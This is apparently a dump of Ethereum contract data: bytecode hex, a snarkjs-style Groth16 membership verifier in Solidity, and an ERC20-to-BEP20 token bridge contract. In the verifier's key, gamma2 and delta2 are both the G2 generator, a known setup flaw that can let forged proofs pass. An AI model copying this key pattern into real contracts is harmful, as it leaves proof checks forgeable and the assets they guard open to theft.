40838503121561291c57600080fd5b823567ffffffffffffffff8082111561293457600080fd5b818501915085601f83011261294857600080fd5b8135602061295861274083612e50565b8083825282820191508286018a848660051b890101111561297857600080fd5b600096505b848710156129a25761298e81612703565b83526001969096019591830191830161297d565b50965050860135925050808211156129b957600080fd5b506129c68582860161271f565b9150509250929050565b6000602082840312156129e257600080fd5b81356124d781612fda565b6000602082840312156129ff57600080fd5b81516124d781612fda565b600060208284031215612a1c57600080fd5b813567ffffffffffffffff811115612a3357600080fd5b611b1b84828501612791565b60008060408385031215612a5257600080fd5b823567ffffffffffffffff811115612a6957600080fd5b612a7585828601612791565b9250506127f660208401612703565b600060208284031215612a9657600080fd5b813567ffffffffffffffff811115612aad57600080fd5b8201601f81018413612abe57600080fd5b611b1b848235602084016126ab565b600060208284031215612adf57600080fd5b5035919050565b60008060408385031215612af957600080fd5b82359150602083013567ffffffffffffffff811115612b1757600080fd5b6129c685828601612791565b60008151808452612b3b816020860160208601612ed6565b601f01601f19169290920160200192915050565b8054600090600181811c9080831680612b6957607f831692505b6020808410821415612b8b57634e487b7160e01b600052602260045260246000fd5b818015612b9f5760018114612bb057612bdd565b60ff19861689528489019650612bdd565b60008881526020902060005b86811015612bd55781548b820152908501908301612bbc565b505084890196505b50505050505092915050565b60008351612bfb818460208801612ed6565b835190830190612c0f818360208801612ed6565b01949350505050565b60008351612c2a818460208801612ed6565b612c3681840185612b4f565b95945050505050565b6000612c4b8284612b4f565b7431b7b73a3930b1ba17b232b330bab63a173539b7b760591b81526015019392505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612ca390830184612b23565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015612ce557835183529284019291840191600101612cc9565b50909695505050505050565b6020815260006124d76020830184612b23565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526023908201527f6c696d6974206f6e206d696e74696e6720746f6f206d616e7920617420612074604082015262696d6560e81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff81118282101715612e4857612e48612fc4565b604052919050565b600067ffffffffffffffff821115612e6a57612e6a612fc4565b5060051b60200190565b60008219821115612e8757612e87612f6c565b500190565b600082612e9b57612e9b612f82565b500490565b6000816000190483118215151615612eba57612eba612f6c565b500290565b600082821015612ed157612ed1612f6c565b500390565b60005b83811015612ef1578181015183820152602001612ed9565b838111156116b95750506000910152565b600181811c90821680612f1657607f821691505b60208210811415612f3757634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612f5157612f51612f6c565b5060010190565b600082612f6757612f67612f82565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610de657600080fdfea26469706673582212202f7bf2be806fa9eb45d31066e9f006f2745b5720c0447527b8523641d8adeb5664736f6c63430008070033
[ 5 ]
0xf2983Db0a5abbe9ee7b26c42550797ab8ef608fe
// File: contracts/MembershipVerifier.sol // // Copyright 2017 Christian Reitwiessner // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // // 2019 OKIMS // ported to solidity 0.6 // fixed linter warnings // added requiere error messages // // // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; library Pairing { struct G1Point { uint X; uint Y; } // Encoding of field elements is: X[0] * z + X[1] struct G2Point { uint[2] X; uint[2] Y; } /// @return the generator of G1 function P1() internal pure returns (G1Point memory) { return G1Point(1, 2); } /// @return the generator of G2 function P2() internal pure returns (G2Point memory) { // Original code point return G2Point( [11559732032986387107991004021392285783925812861821192530917403151452391805634, 10857046999023057135944570762232829481370756359578518086990519993285655852781], [4082367875863433681332203403145435568316851327593401208105741076214120093531, 8495653923123431417604973247489272438418190587263600148770280649306958101930] ); /* // Changed by Jordi point return G2Point( [10857046999023057135944570762232829481370756359578518086990519993285655852781, 11559732032986387107991004021392285783925812861821192530917403151452391805634], [8495653923123431417604973247489272438418190587263600148770280649306958101930, 4082367875863433681332203403145435568316851327593401208105741076214120093531] ); */ } /// @return r the negation of p, i.e. p.addition(p.negate()) should be zero. function negate(G1Point memory p) internal pure returns (G1Point memory r) { // The prime q in the base field F_q for G1 uint q = 21888242871839275222246405745257275088696311157297823662689037894645226208583; if (p.X == 0 && p.Y == 0) return G1Point(0, 0); return G1Point(p.X, q - (p.Y % q)); } /// @return r the sum of two points of G1 function addition(G1Point memory p1, G1Point memory p2) internal view returns (G1Point memory r) { uint[4] memory input; input[0] = p1.X; input[1] = p1.Y; input[2] = p2.X; input[3] = p2.Y; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 6, input, 0xc0, r, 0x60) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success,"pairing-add-failed"); } /// @return r the product of a point on G1 and a scalar, i.e. /// p == p.scalar_mul(1) and p.addition(p) == p.scalar_mul(2) for all points p. function scalar_mul(G1Point memory p, uint s) internal view returns (G1Point memory r) { uint[3] memory input; input[0] = p.X; input[1] = p.Y; input[2] = s; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 7, input, 0x80, r, 0x60) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require (success,"pairing-mul-failed"); } /// @return the result of computing the pairing check /// e(p1[0], p2[0]) * .... * e(p1[n], p2[n]) == 1 /// For example pairing([P1(), P1().negate()], [P2(), P2()]) should /// return true. function pairing(G1Point[] memory p1, G2Point[] memory p2) internal view returns (bool) { require(p1.length == p2.length,"pairing-lengths-failed"); uint elements = p1.length; uint inputSize = elements * 6; uint[] memory input = new uint[](inputSize); for (uint i = 0; i < elements; i++) { input[i * 6 + 0] = p1[i].X; input[i * 6 + 1] = p1[i].Y; input[i * 6 + 2] = p2[i].X[0]; input[i * 6 + 3] = p2[i].X[1]; input[i * 6 + 4] = p2[i].Y[0]; input[i * 6 + 5] = p2[i].Y[1]; } uint[1] memory out; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success,"pairing-opcode-failed"); return out[0] != 0; } /// Convenience method for a pairing check for two pairs. function pairingProd2(G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](2); G2Point[] memory p2 = new G2Point[](2); p1[0] = a1; p1[1] = b1; p2[0] = a2; p2[1] = b2; return pairing(p1, p2); } /// Convenience method for a pairing check for three pairs. function pairingProd3( G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2, G1Point memory c1, G2Point memory c2 ) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](3); G2Point[] memory p2 = new G2Point[](3); p1[0] = a1; p1[1] = b1; p1[2] = c1; p2[0] = a2; p2[1] = b2; p2[2] = c2; return pairing(p1, p2); } /// Convenience method for a pairing check for four pairs. function pairingProd4( G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2, G1Point memory c1, G2Point memory c2, G1Point memory d1, G2Point memory d2 ) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](4); G2Point[] memory p2 = new G2Point[](4); p1[0] = a1; p1[1] = b1; p1[2] = c1; p1[3] = d1; p2[0] = a2; p2[1] = b2; p2[2] = c2; p2[3] = d2; return pairing(p1, p2); } } contract MembershipVerifier { using Pairing for *; struct VerifyingKey { Pairing.G1Point alfa1; Pairing.G2Point beta2; Pairing.G2Point gamma2; Pairing.G2Point delta2; Pairing.G1Point[] IC; } struct Proof { Pairing.G1Point A; Pairing.G2Point B; Pairing.G1Point C; } function verifyingKey() internal pure returns (VerifyingKey memory vk) { vk.alfa1 = Pairing.G1Point(19999268883299812380118267745389058698359487558742858385672801683947009174841,10979465955338708482481933698167832325746603808865456750985292287877353355870); vk.beta2 = Pairing.G2Point([6068181524513427278587143754114992710203920567465128023830932235519822136628,16579293707019070536109697385456617347080855615194695274360466897444993251], [10091094195423517525628188919723607870162196765642914096795805721764659872311,13723776030631949818632750387918069001653144993639245536406298986026264197577]); vk.gamma2 = Pairing.G2Point([11559732032986387107991004021392285783925812861821192530917403151452391805634,10857046999023057135944570762232829481370756359578518086990519993285655852781], [4082367875863433681332203403145435568316851327593401208105741076214120093531,8495653923123431417604973247489272438418190587263600148770280649306958101930]); vk.delta2 = Pairing.G2Point([11559732032986387107991004021392285783925812861821192530917403151452391805634,10857046999023057135944570762232829481370756359578518086990519993285655852781], [4082367875863433681332203403145435568316851327593401208105741076214120093531,8495653923123431417604973247489272438418190587263600148770280649306958101930]); vk.IC = new Pairing.G1Point[](4); vk.IC[0] = Pairing.G1Point(1079420831454985419248774125551839104961637639291459667533218182143041371810,17039110079959747649145914288243287982936033625997476751651169264994325890340); vk.IC[1] = Pairing.G1Point(12511859808514735597224780617509045821499483439843284007557068056972330496480,997227388947331052357481800682863872352525852736840780855125186785416544744); vk.IC[2] = Pairing.G1Point(14054648376065458965574031677607130893156944233741248968416170960442389869982,6837841949371117241092620520200022176087379095803818691557939890882667007650); vk.IC[3] = Pairing.G1Point(1172112811221215404787133472473218088776994768730531545732108558323402657475,5798126020275162237488557905091686019669976137618701955940067805955670887872); } function verify(uint[] memory input, Proof memory proof) internal view returns (uint) { uint256 snark_scalar_field = 21888242871839275222246405745257275088548364400416034343698204186575808495617; VerifyingKey memory vk = verifyingKey(); require(input.length + 1 == vk.IC.length,"verifier-bad-input"); // Compute the linear combination vk_x Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0); for (uint i = 0; i < input.length; i++) { require(input[i] < snark_scalar_field,"verifier-gte-snark-scalar-field"); vk_x = Pairing.addition(vk_x, Pairing.scalar_mul(vk.IC[i + 1], input[i])); } vk_x = Pairing.addition(vk_x, vk.IC[0]); if (!Pairing.pairingProd4( Pairing.negate(proof.A), proof.B, vk.alfa1, vk.beta2, vk_x, vk.gamma2, proof.C, vk.delta2 )) return 1; return 0; } /// @return r bool true if proof is valid function verifyProof( uint[2] memory a, uint[2][2] memory b, uint[2] memory c, uint[3] memory input ) public view returns (bool r) { Proof memory proof; proof.A = Pairing.G1Point(a[0], a[1]); proof.B = Pairing.G2Point([b[0][0], b[0][1]], [b[1][0], b[1][1]]); proof.C = Pairing.G1Point(c[0], c[1]); uint[] memory inputValues = new uint[](input.length); for(uint i = 0; i < input.length; i++){ inputValues[i] = input[i]; } if (verify(inputValues, proof) == 0) { return true; } else { return false; } } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806311479fea14610030575b600080fd5b61004361003e3660046110e6565b610059565b6040516100509190611196565b60405180910390f35b6000610063610ede565b60408051808201825287518152602080890151818301529083528151608080820184528851518285019081528951840151606080850191909152908352845180860186528a8501805151825251850151818601528385015285840192909252835180850185528851815288840151818501528585015283516003808252918101909452600093929091908301908036833701905050905060005b60038110156101685784816003811061012657634e487b7160e01b600052603260045260246000fd5b602002015182828151811061014b57634e487b7160e01b600052603260045260246000fd5b60209081029190910101528061016081611354565b9150506100fd565b506101738183610191565b61018257600192505050610189565b6000925050505b949350505050565b60007f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001816101bd61036f565b9050806080015151855160016101d39190611306565b146101f95760405162461bcd60e51b81526004016101f0906111a1565b60405180910390fd5b604080518082019091526000808252602082018190525b86518110156102e4578387828151811061023a57634e487b7160e01b600052603260045260246000fd5b60200260200101511061025f5760405162461bcd60e51b81526004016101f0906111f9565b6102d0826102cb85608001518460016102789190611306565b8151811061029657634e487b7160e01b600052603260045260246000fd5b60200260200101518a85815181106102be57634e487b7160e01b600052603260045260246000fd5b60200260200101516107b0565b61081b565b9150806102dc81611354565b915050610210565b5061031b81836080015160008151811061030e57634e487b7160e01b600052603260045260246000fd5b602002602001015161081b565b905061035161032d8660000151610882565b8660200151846000015185602001518587604001518b604001518960600151610917565b6103615760019350505050610369565b600093505050505b92915050565b610377610f10565b6040805180820182527f2c372f5f830a0eb74f1a631092f63dbbeaa39634a62fd04b94650f7c22bd6d3981527f18462852872e99dd7f5a7055bee64f5c6dc20c53f0be045320a8e3529650ba5e6020808301919091529083528151608080820184527f0d6a78125795d136e002058af57471ee26406a6dcd6fb142a6263a697c9805348285019081527e0962302e9264ad0a28bb22175445b66332db6018d9b93d6f49334566e6f8e3606080850191909152908352845180860186527f164f5b5e917ccb83506de0187b92217f9d1fbcdef5097b733cb80eb943e6423781527f1e5761c8a2800bf5e42e5b16918363b804a68431d2658c9f11995a6ef4e079c9818601528385015285840192909252835180820185527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28186018181527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed838601819052908352865180880188527f090689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b8082527f12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa82890181905285890192909252898901949094528751948501885284880192835284860191909152908352855180870187529182528185015281840152908401528151600480825260a08201909352919082015b610586610f57565b81526020019060019003908161057e57505060808201908152604080518082019091527f0262ee37df43e311e715f1af3546ca2b293de04adc898d6929fcbc0a7d647ea281527f25abcb671bb768f368c19645d9c53dff22dc994ec5806ae04568a5ab7a60052460208201529051805160009061061357634e487b7160e01b600052603260045260246000fd5b602002602001018190525060405180604001604052807f1ba9763195336ddc931c007ef09a27a7bf3f0f70e862e9faf9cb18314b3371e081526020017f02346923a5ad319e4b0b9eebffa77fd6401ee6c731ce35bf53a43d9079cf81e8815250816080015160018151811061069857634e487b7160e01b600052603260045260246000fd5b602002602001018190525060405180604001604052807f1f12a62a05c3339e7b19455159ce49240199e1eb541382aab0371f9366cab59e81526020017f0f1e14d6290d3b66ff5cc590ec0804aad2fff6657d01206f9ed8fa463572cea2815250816080015160028151811061071d57634e487b7160e01b600052603260045260246000fd5b602002602001018190525060405180604001604052807f029764707c9fbf925fa3e40107f5885c03ae8dbca1a46faf0d2aafd06763cec381526020017f0cd19f7ef7f9b772dd391e6cbc5d21a987043a50efba54e2c0ab147e9c7b4dc081525081608001516003815181106107a257634e487b7160e01b600052603260045260246000fd5b602002602001018190525090565b6107b8610f57565b6107c0610f71565b835181526020808501519082015260408101839052600060608360808460076107d05a03fa90508080156107f3576107f5565bfe5b50806108135760405162461bcd60e51b81526004016101f0906111cd565b505092915050565b610823610f57565b61082b610f8f565b8351815260208085015181830152835160408301528301516060808301919091526000908360c08460066107d05a03fa90508080156107f35750806108135760405162461bcd60e51b81526004016101f090611260565b61088a610f57565b81517f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47901580156108bd57506020830151155b156108dd5750506040805180820190915260008082526020820152610912565b604051806040016040528084600001518152602001828560200151610902919061136f565b61090c908461133d565b90529150505b919050565b60408051600480825260a08201909252600091829190816020015b61093a610f57565b81526020019060019003908161093257505060408051600480825260a0820190925291925060009190602082015b610970610fad565b8152602001906001900390816109685790505090508a826000815181106109a757634e487b7160e01b600052603260045260246000fd5b602002602001018190525088826001815181106109d457634e487b7160e01b600052603260045260246000fd5b60200260200101819052508682600281518110610a0157634e487b7160e01b600052603260045260246000fd5b60200260200101819052508482600381518110610a2e57634e487b7160e01b600052603260045260246000fd5b60200260200101819052508981600081518110610a5b57634e487b7160e01b600052603260045260246000fd5b60200260200101819052508781600181518110610a8857634e487b7160e01b600052603260045260246000fd5b60200260200101819052508581600281518110610ab557634e487b7160e01b600052603260045260246000fd5b60200260200101819052508381600381518110610ae257634e487b7160e01b600052603260045260246000fd5b6020026020010181905250610af78282610b06565b9b9a5050505050505050505050565b60008151835114610b295760405162461bcd60e51b81526004016101f090611230565b82516000610b3882600661131e565b905060008167ffffffffffffffff811115610b6357634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610b8c578160200160208202803683370190505b50905060005b83811015610e8b57868181518110610bba57634e487b7160e01b600052603260045260246000fd5b60200260200101516000015182826006610bd4919061131e565b610bdf906000611306565b81518110610bfd57634e487b7160e01b600052603260045260246000fd5b602002602001018181525050868181518110610c2957634e487b7160e01b600052603260045260246000fd5b60200260200101516020015182826006610c43919061131e565b610c4e906001611306565b81518110610c6c57634e487b7160e01b600052603260045260246000fd5b602002602001018181525050858181518110610c9857634e487b7160e01b600052603260045260246000fd5b6020908102919091010151515182610cb183600661131e565b610cbc906002611306565b81518110610cda57634e487b7160e01b600052603260045260246000fd5b602002602001018181525050858181518110610d0657634e487b7160e01b600052603260045260246000fd5b60209081029190910181015151015182610d2183600661131e565b610d2c906003611306565b81518110610d4a57634e487b7160e01b600052603260045260246000fd5b602002602001018181525050858181518110610d7657634e487b7160e01b600052603260045260246000fd5b602002602001015160200151600060028110610da257634e487b7160e01b600052603260045260246000fd5b602002015182610db383600661131e565b610dbe906004611306565b81518110610ddc57634e487b7160e01b600052603260045260246000fd5b602002602001018181525050858181518110610e0857634e487b7160e01b600052603260045260246000fd5b602002602001015160200151600160028110610e3457634e487b7160e01b600052603260045260246000fd5b602002015182610e4583600661131e565b610e50906005611306565b81518110610e6e57634e487b7160e01b600052603260045260246000fd5b602090810291909101015280610e8381611354565b915050610b92565b50610e94610fcd565b6000602082602086026020860160086107d05a03fa90508080156107f3575080610ed05760405162461bcd60e51b81526004016101f09061128c565b505115159695505050505050565b6040518060600160405280610ef1610f57565b8152602001610efe610fad565b8152602001610f0b610f57565b905290565b6040518060a00160405280610f23610f57565b8152602001610f30610fad565b8152602001610f3d610fad565b8152602001610f4a610fad565b8152602001606081525090565b604051806040016040528060008152602001600081525090565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b6040518060400160405280610fc0610feb565b8152602001610f0b610feb565b60405180602001604052806001906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b600082601f830112611019578081fd5b6040516040810181811067ffffffffffffffff8211171561103c5761103c6113a5565b8060405250808385604086011115611052578384fd5b835b6002811015611073578135835260209283019290910190600101611054565b509195945050505050565b600082601f83011261108e578081fd5b6040516060810181811067ffffffffffffffff821117156110b1576110b16113a5565b6040528083606081018610156110c5578384fd5b835b60038110156110735781358352602092830192909101906001016110c7565b60008060008061016085870312156110fc578384fd5b6111068686611009565b9350604086605f870112611118578384fd5b600261112b611126826112e5565b6112bb565b8083890160c08a018b81111561113f578889fd5b885b85811015611167576111538d84611009565b855260209094019391860191600101611141565b508298506111758c82611009565b975050505050505061118b86610100870161107e565b905092959194509250565b901515815260200190565b6020808252601290820152711d995c9a599a595c8b5898590b5a5b9c1d5d60721b604082015260600190565b6020808252601290820152711c185a5c9a5b99cb5b5d5b0b59985a5b195960721b604082015260600190565b6020808252601f908201527f76657269666965722d6774652d736e61726b2d7363616c61722d6669656c6400604082015260600190565b6020808252601690820152751c185a5c9a5b99cb5b195b99dd1a1ccb59985a5b195960521b604082015260600190565b6020808252601290820152711c185a5c9a5b99cb5859190b59985a5b195960721b604082015260600190565b6020808252601590820152741c185a5c9a5b99cb5bdc18dbd9194b59985a5b1959605a1b604082015260600190565b60405181810167ffffffffffffffff811182821017156112dd576112dd6113a5565b604052919050565b600067ffffffffffffffff8211156112ff576112ff6113a5565b5060200290565b600082198211156113195761131961138f565b500190565b60008160001904831182151516156113385761133861138f565b500290565b60008282101561134f5761134f61138f565b500390565b60006000198214156113685761136861138f565b5060010190565b60008261138a57634e487b7160e01b81526012600452602481fd5b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220eb86a339f3ea1a14117f430266985314f834010d14beb198b85da89365138e0564736f6c63430008000033
[ 12 ]
0xf29874f0dc182b30fc3ef06c0cfa36374bfcc983
pragma solidity =0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address to, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed from, address indexed to); constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), owner); } modifier onlyOwner { require(msg.sender == owner, "Ownable: Caller is not the owner"); _; } function transferOwnership(address transferOwner) external onlyOwner { require(transferOwner != newOwner); newOwner = transferOwner; } function acceptOwnership() virtual public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } contract ERC20ToBEP20Wrapper is Ownable { struct UnwrapInfo { uint amount; uint fee; uint bscNonce; } IERC20 public immutable NBU; uint public minWrapAmount; mapping(address => uint) public userWrapNonces; mapping(address => uint) public userUnwrapNonces; mapping(address => mapping(uint => uint)) public bscToEthUserUnwrapNonces; mapping(address => mapping(uint => uint)) public wraps; mapping(address => mapping(uint => UnwrapInfo)) public unwraps; event Wrap(address indexed user, uint indexed wrapNonce, uint amount); event Unwrap(address indexed user, uint indexed unwrapNonce, uint indexed bscNonce, uint amount, uint fee); event UpdateMinWrapAmount(uint indexed amount); event Rescue(address indexed to, uint amount); event RescueToken(address token, address indexed to, uint amount); constructor(address nbu) { NBU = IERC20(nbu); } function wrap(uint amount) external { require(amount >= minWrapAmount, "ERC20ToBEP20Wrapper: Value too small"); NBU.transferFrom(msg.sender, address(this), amount); uint userWrapNonce = ++userWrapNonces[msg.sender]; wraps[msg.sender][userWrapNonce] = amount; emit Wrap(msg.sender, userWrapNonce, amount); } function unwrap(address user, uint amount, uint fee, uint bscNonce) external onlyOwner { require(user != address(0), "ERC20ToBEP20Wrapper: Can't be zero address"); require(bscToEthUserUnwrapNonces[user][bscNonce] == 0, "ERC20ToBEP20Wrapper: Already processed"); NBU.transfer(user, amount - fee); uint unwrapNonce = ++userUnwrapNonces[user]; bscToEthUserUnwrapNonces[user][bscNonce] = unwrapNonce; unwraps[user][unwrapNonce].amount = amount; unwraps[user][unwrapNonce].fee = fee; unwraps[user][unwrapNonce].bscNonce = bscNonce; emit Unwrap(user, unwrapNonce, bscNonce, amount, fee); } //Admin functions function rescue(address payable to, uint256 amount) external onlyOwner { require(to != address(0), "ERC20ToBEP20Wrapper: Can't be zero address"); require(amount > 0, "ERC20ToBEP20Wrapper: Should be greater than 0"); TransferHelper.safeTransferETH(to, amount); emit Rescue(to, amount); } function rescue(address to, address token, uint256 amount) external onlyOwner { require(to != address(0), "ERC20ToBEP20Wrapper: Can't be zero address"); require(amount > 0, "ERC20ToBEP20Wrapper: Should be greater than 0"); TransferHelper.safeTransfer(token, to, amount); emit RescueToken(token, to, amount); } function updateMinWrapAmount(uint amount) external onlyOwner { require(amount > 0, "ERC20ToBEP20Wrapper: Should be greater than 0"); minWrapAmount = amount; emit UpdateMinWrapAmount(amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806386edeaa311610097578063d4ee1d9011610066578063d4ee1d90146101fc578063e991fb2714610204578063ea598cb01461020c578063f2fde38b1461021f57610100565b806386edeaa3146101ac5780638da5cb5b146101ce578063b6fde7d4146101d6578063c4b06113146101e957610100565b8063433299b6116100d3578063433299b61461016b57806379ba50971461017e5780637a4e4ecf14610186578063855205cf1461019957610100565b8063164547541461010557806320ff430b1461012357806326125aa8146101385780633a4d9ddb14610158575b600080fd5b61010d610232565b60405161011a9190610f0e565b60405180910390f35b610136610131366004610e11565b610256565b005b61014b610146366004610dc3565b610397565b60405161011a91906111c3565b610136610166366004610e63565b6103a9565b610136610179366004610ebd565b61063b565b6101366106f9565b610136610194366004610de6565b6107b3565b61014b6101a7366004610e51565b6108e7565b6101bf6101ba366004610e51565b610904565b60405161011a939291906111da565b61010d610930565b61014b6101e4366004610dc3565b61094c565b61014b6101f7366004610e51565b61095e565b61010d61097b565b61014b610997565b61013661021a366004610ebd565b61099d565b61013661022d366004610dc3565b610b21565b7f000000000000000000000000639ae8f3eed18690bf451229d14953a5a5627b7281565b60005473ffffffffffffffffffffffffffffffffffffffff1633146102b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a79061101a565b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff83166102fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a7906110ac565b60008111610337576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a790610fbd565b610342828483610be1565b8273ffffffffffffffffffffffffffffffffffffffff167faabf44ab9d5bef08d1b60f287a337f0d11a248e49741ad189b429e47e98ba910838360405161038a929190610f60565b60405180910390a2505050565b60036020526000908152604090205481565b60005473ffffffffffffffffffffffffffffffffffffffff1633146103fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a79061101a565b73ffffffffffffffffffffffffffffffffffffffff8416610447576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a7906110ac565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600560209081526040808320848452909152902054156104af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a79061104f565b73ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000639ae8f3eed18690bf451229d14953a5a5627b721663a9059cbb856104f685876111f0565b6040518363ffffffff1660e01b8152600401610513929190610f60565b602060405180830381600087803b15801561052d57600080fd5b505af1158015610541573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105659190610e9d565b5073ffffffffffffffffffffffffffffffffffffffff841660009081526004602052604081208054829061059890611207565b918290555073ffffffffffffffffffffffffffffffffffffffff8616600081815260056020908152604080832087845282528083208590558383526007825280832085845290915290819020878155600181018790556002018590555191925083918391907fe0a79c2fe8724ab4d9a7a746557c89887e7e4bad06e423be5c234fe85e9358349061062c90899089906111cc565b60405180910390a45050505050565b60005473ffffffffffffffffffffffffffffffffffffffff16331461068c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a79061101a565b600081116106c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a790610fbd565b600281905560405181907f9f1b4cb09a8ad23e77c9afc43668befa344dea20c3a547a7ec6f4ec09dbdd66c90600090a250565b60015473ffffffffffffffffffffffffffffffffffffffff16331461071d57600080fd5b6001546000805460405173ffffffffffffffffffffffffffffffffffffffff93841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610804576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a79061101a565b73ffffffffffffffffffffffffffffffffffffffff8216610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a7906110ac565b6000811161088b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a790610fbd565b6108958282610d0a565b8173ffffffffffffffffffffffffffffffffffffffff167f542fa6bfee3b4746210fbdd1d83f9e49b65adde3639f8d8f165dd18347938af2826040516108db91906111c3565b60405180910390a25050565b600660209081526000928352604080842090915290825290205481565b600760209081526000928352604080842090915290825290208054600182015460029092015490919083565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60046020526000908152604090205481565b600560209081526000928352604080842090915290825290205481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6002548110156109d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a790611166565b6040517f23b872dd00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000639ae8f3eed